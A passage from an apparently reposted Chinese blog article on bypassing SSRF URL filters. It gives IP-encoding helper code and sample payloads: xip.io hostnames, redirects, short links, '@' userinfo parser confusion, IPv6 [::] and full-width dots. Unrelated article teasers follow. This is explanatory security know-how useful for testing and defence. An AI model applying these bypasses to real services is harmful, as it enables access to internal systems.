def ip_to_int(ip):parts = ip.split('.')return (int(parts[0]) << 24) + (int(parts[1]) << 16) + (int(parts[2]) << 8) + int(parts[3])def int_to_ip(ip_int):return '.'.join(str((ip_int >> i) & 0xFF) for i in [24, 16, 8, 0])def ip_to_hex(ip):hex_ip = '0x'+''.join(hex(int(x))[2:].zfill(2) for x in ip.split('.'))return hex_ip
  • xip.io繞過URL黑名單過濾缺陷

xip.io 是一個公共 DNS 服務,提供自動解析功能,尤其適用于開發和測試環境。該服務由 Basecamp 開發并免費提供使用。我們可以將一個帶有 IP 地址的域名作為 xip.io 子域名使用,例如 192.168.1.1.xip.io。xip.io 服務會將這個子域名解析為指定的 IP 地址(例如 192.168.1.1)。這樣,我們就可以通過這個域名直接訪問本地網絡中的服務器,而不需要修改任何 DNS 配置。借用到SSRF也是一樣的

  • 302跳轉繞過

如果Web服務允許30x跳轉,并且在傳入一個鏈接后,該鏈接可以正常通過并解析,我們就可以嘗試將這個頁面重定向到其它位置,借由重定向發起中轉

  • 使用短鏈接繞過限制

短鏈接(Short URL)的原理是將一個長的URL轉換成一個更短的URL,以便更方便地分享和傳播。短鏈接服務通過創建一個唯一的短標識符來映射到原始的長URL。當用戶訪問短鏈接時,服務會將他們重定向到原始的長URL。

生成短鏈接

  • 用戶提交一個長URL到短鏈接服務。
  • 服務生成一個唯一的短標識符,通常是一個隨機或基于某種算法生成的字符串(如 abc123)。
  • 這個短標識符與長URL一起存儲在數據庫中。
  • 短鏈接服務返回一個新的短鏈接,通常是服務域名加上短標識符,例如 http://short.url/abc123

訪問短鏈接

  • 用戶點擊或訪問短鏈接。
  • 短鏈接服務接收到請求,解析出短標識符。
  • 服務在數據庫中查找與該短標識符對應的長URL。
  • 找到長URL后,服務返回一個重定向響應(通常是HTTP 301或302狀態碼),將用戶重定向到長URL。
  • 使用畸形URL繞過限制

利用HTTP身份驗證繞過,如下實際上是以用戶名abcd連接到站點127.0.0.1:

http://abcd@127.0.0.1

在解析帶有 @ 符號的URL時,不同的解析器可能會有不同的行為。這主要是因為 @ 符號在URL中有特定的語法意義,它通常用于包含用戶信息(例如用戶名和密碼)。

http://www.aaa.com@www.bbb.com@www.ccc.com

PHP的 parse_url 函數在解析這種帶有多個 @ 符號的URL時,傾向于將最后一個 @ 符號后的部分識別為主機。也就是說,它認為 userinfo 部分可以包含多個 @ 符號。因此以上URL會被識別為www.ccc.com

libcurl在處理這種URL時,遵循一種更嚴格的解析方式,它只將第一個 @ 符號之前的部分識別為用戶信息,后面的部分識別為主機。因此上面會被解析為www.bbb.com@www.ccc.com

利用URL其他格式字符符繞過:

http://127.0.0.1#12345http://127.0.0.1?12345

利用IPV6地址繞過:

http://[::]:80/ 

在IPv6地址中,[::] 是一個簡寫形式,表示全零地址(即 0000:0000:0000:0000:0000:0000:0000:0000)。全零地址::通常表示本地設備的所有IPv6地址,即“未指定地址”,用作初始化,但在實際使用中它代表本地設備。

利用全角字符進行繞過:

輸入 127。0。0。1。,有的服務可能會自動將其糾正為 127.0.0.1,因為它識別到這是一個IP地址,而全角句號 不應存在于標準IP地址中。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/14387.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/14387.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/14387.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Java Apache Jexl規則引擎初體驗

提示&#xff1a;文章寫完后&#xff0c;目錄可以自動生成&#xff0c;如何生成可參考右邊的幫助文檔 文章目錄 前言一、模板引擎的選擇&#xff1f;二、什么是JEXL規則引擎&#xff1f;優點缺點 三、其他規則引擎四、示例1.引入依賴2.方法示例3、代碼解釋4、效果![import java…

VMware虛擬機Ubuntu 22.04.4 LTS系統 NAT網絡設置異常解決

現象&#xff1a; 近日&#xff0c;一直工作正常的虛擬機莫名出現網絡無法連接的情況。 參考網上的各種教程&#xff0c;終于解決問題。 如遇到類似情況的&#xff0c;可以嘗試這個方式&#xff0c;看能否解決問題。 網絡連接&#xff1a;采用NAT模式 異常&#xff1a;網絡圖標…

C++數據結構——哈希表

前言&#xff1a;本篇文章將繼續進行C數據結構的講解——哈希表。 目錄 一.哈希表概念 二.哈希函數 1.除留取余法 三.哈希沖突 1.閉散列 線性探測 &#xff08;1&#xff09;插入 &#xff08;2&#xff09;刪除 2. 開散列 開散列概念 四.閉散列哈希表 1.基本框架 …

場內期權怎么開戶?傭金手續費最低是多少?

今天期權懂帶你了解場內期權怎么開戶&#xff1f;傭金手續費最低是多少&#xff1f;我國的首個場內期權是50ETF期權&#xff0c;隨著投資者對期權產品日漸熟悉&#xff0c;投資者參與數量與交易量穩步增長。 場內期權怎么開戶&#xff1f; 滿足資金要求&#xff1a;根據監管要…

自動打卡腳本

奕輔導自動打卡腳本 打卡腳本&#xff0c;使用前需手動打卡一次并需要抓包&#xff0c;在其中找到相關的token。 # -*- encoding:utf-8 -*-import requests import jsonpunch_in_data {"questionnairePublishEntityId": "1001640744275339000980000000001&qu…

MyBatis:Parameter Maps collection does not contain value for 報錯解決收錄

MyBatis&#xff1a;Parameter Maps collection does not contain value for 報錯問題解決收錄 1.報錯收錄 后端測試時偶然遇到的用mybatis生成好的mapper文件&#xff0c;報Result Maps collection does not contain value…的錯誤 2.報錯分析 java.lang.ILledalAraumentEx…

必應bing國內廣告開戶首充和開戶費是多少?

微軟必應Bing作為國內領先的搜索引擎之一&#xff0c;其廣告平臺憑借其精準的投放、高效的數據分析和廣泛的用戶覆蓋&#xff0c;已成為眾多企業的首選。 根據最新政策&#xff0c;2024年必應Bing國內廣告開戶預充值金額設定為1萬元人民幣起。這一調整旨在確保廣告主在賬戶初始…

【嵌入式DIY實例】-OLED顯示DHT22傳感器數據

OLED顯示DHT22傳感器數據 1、應用實例介紹 本次實例將演示如何在OLED中顯示DHT22溫度濕度傳感器的數據。實例主要分兩步來完成: DHT22傳感器驅動,采集溫度和濕度OLED驅動,顯示采集到的溫度值和濕度值。在前面的文章中,對OLED的應用和驅動做了介紹,請參考: ESP8266-Ardu…

1.Nginx上配置 HTTPS

1.安裝 Nginx&#xff1a; 如果還沒有安裝 Nginx&#xff0c;可以使用包管理工具安裝。例如&#xff0c;在 Ubuntu 上&#xff1a; sudo apt update sudo apt install nginx2.上傳證書和私鑰文件&#xff1a; 將你的證書文件和私鑰文件上傳到服務器上的某個目錄&#xff0c;…

VBA宏指令寫的方法突然不能用了

背景:項目組有個自動化測試項目,實在excel中利用VBA開發的;時間比較久遠,我前面的哥們走后,這個軟件一直在用,最近系統不知道是不是更新的緣故;有些代碼除了問題; 先上源碼: Dim Conn As Object, Rst As Object Dim sqlStr$ Dim str_start_SN$, str2$ str_start_SN …

python 線性回歸模型

教材鏈接-3.2. 線性回歸的從零開始實現 c實現 該博客僅用于記錄一下自己的代碼&#xff0c;可與c實現作為對照 from d2l import torch as d2l import torch import random # nn是神經網絡的縮寫 from torch import nn from torch.utils import data# 加載訓練數據 # 加載訓…

什么是網關,網關有哪些作用?

網關(Gateway)是在計算機網絡中用于連接兩個獨立的網絡的設備&#xff0c;它能夠在兩個不同協議的網絡之間傳遞數據。在互聯網中&#xff0c;網關是一個可以連接不同協議的網絡的設備&#xff0c;比如說可以連接局域網和互聯網&#xff0c;它可以把局域網 的內部網絡地址轉換成…

論文閱讀--GLIP

把detection和phrase ground(對于給定的sentence&#xff0c;要定位其中提到的全部物體)這兩個任務合起來變成統一框架&#xff0c;從而擴展數據來源&#xff0c;因為文本圖像對的數據還是很好收集的 目標檢測的loss是分類loss定位loss&#xff0c;它與phrase ground的定位los…

爬蟲學習--11.MySQL數據庫的基本操作(上)

MySQL數據庫的基本操作 創建數據庫 我們可以在登陸 MySQL 服務后&#xff0c;使用命令創建數據庫&#xff0c;語法如下: CREATE DATABASE 數據庫名; 顯示所有的數據庫 show databases; 刪除數據庫 使用普通用戶登陸 MySQL 服務器&#xff0c;你可能需要特定的權限來創建或者刪…

Docker部署Minio小記

概述 因為工作需要搭建對象存儲的測試環境&#xff0c;故而使用Docker部署Minio&#xff0c;測試通過博文記錄用以備忘 步驟 拉取鏡像 docker pull minio/minio啟動容器 docker run -p 9000:9000 -p 9090:9090 \--name minio \-d --restartalways \-e "MINIO_ACCESS_K…

內臟油脂是什么?如何減掉?

真想減的人&#xff0c;減胖是很容易的&#xff0c;但想要形體美又健康&#xff0c;還是得從減內臟油脂開始&#xff0c;那么&#xff0c;問題來了&#xff0c;什么是內臟油脂&#xff1f; 油脂它分部于身體的各個角落&#xff0c;四肢、腹部、腰、臀部、臉、脖子...等&#xf…

VUE3+TS+elementplus創建table,純前端的table

一、前言 開始學習前端&#xff0c;直接從VUE3開始&#xff0c;從簡單的創建表格開始。因為自己不是專業的程序員&#xff0c;編程主要是為了輔助自己的工作&#xff0c;提高工作效率&#xff0c;VUE的基礎知識并不牢固&#xff0c;主要是為了快速上手&#xff0c;能夠做出一些…

Kubernetes中 Requests 和 Limits 的初步理解

1 靈魂拷問 我們在使用 Kubernetes 時是否遇到以下情況&#xff1a; 你會不會部署負載的時候將 CPU requests/limits 設置得過低或過高&#xff1f;你會不會部署負載的時候將 內存 requests/limits 設置得過低或過高&#xff1f;又或者你根本不設置 requests/limits&#xff…

SVN創建項目分支

目錄 背景調整目錄結構常規目錄結構當前現狀目標 調整SVN目錄調整目錄結構創建項目分支 效果展示 背景 當前自己本地做項目的時候發現對SVN創建項目不規范&#xff0c;沒有什么目錄結構&#xff0c;趁著創建目錄分支的契機&#xff0c;順便調整下SVN服務器上的目錄結構 調整目…

Stable Diffusion WebUI使用inpaint anything插件實現圖片局部重繪

Inpaint Anything是一個強大的圖像處理工具,它結合了SAM(Segment Anything Model)、圖像修補模型(如LaMa)和AIGC模型(如Stable Diffusion)等先進技術,以實現圖像中物體的移除、內容的填補以及場景的替換。無論是對圖像中的任何元素進行編輯,還是對圖像整體進行場景轉換…